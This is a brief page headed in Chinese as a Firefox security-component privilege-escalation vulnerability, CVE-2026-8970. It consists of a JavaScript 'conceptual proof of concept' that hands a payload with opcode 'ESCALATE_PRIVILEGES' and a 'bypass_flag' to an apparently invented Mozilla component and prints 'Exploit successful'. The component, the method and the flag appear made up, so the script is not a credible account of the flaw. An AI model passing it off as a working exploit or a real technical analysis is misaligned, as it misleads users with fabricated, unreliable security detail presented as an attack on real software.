CVE-2026-8970 Firefox安全组件提权漏洞

// Conceptual Proof of Concept for CVE-2026-8970 // This script demonstrates a potential trigger for the privilege escalation flaw. function exploitCVE20268970() { try { // Attempt to instantiate the vulnerable security component let securityComp = Components.classes['@mozilla.org/security/component;1'].getService(); // Craft a payload designed to bypass privilege checks // Exploiting the logic flaw in the validation routine let maliciousPayload = { opcode: 'ESCALATE_PRIVILEGES', context_id: 'SYSTEM', bypass_flag: true // Flag that triggers the vulnerability }; // Execute the privileged operation securityComp.execute(maliciousPayload); console.log('[+] Exploit successful! Privileges escalated.'); } catch (error) { console.log('[-] Exploit failed: ' + error.message); } } // Run the exploit exploitCVE20268970();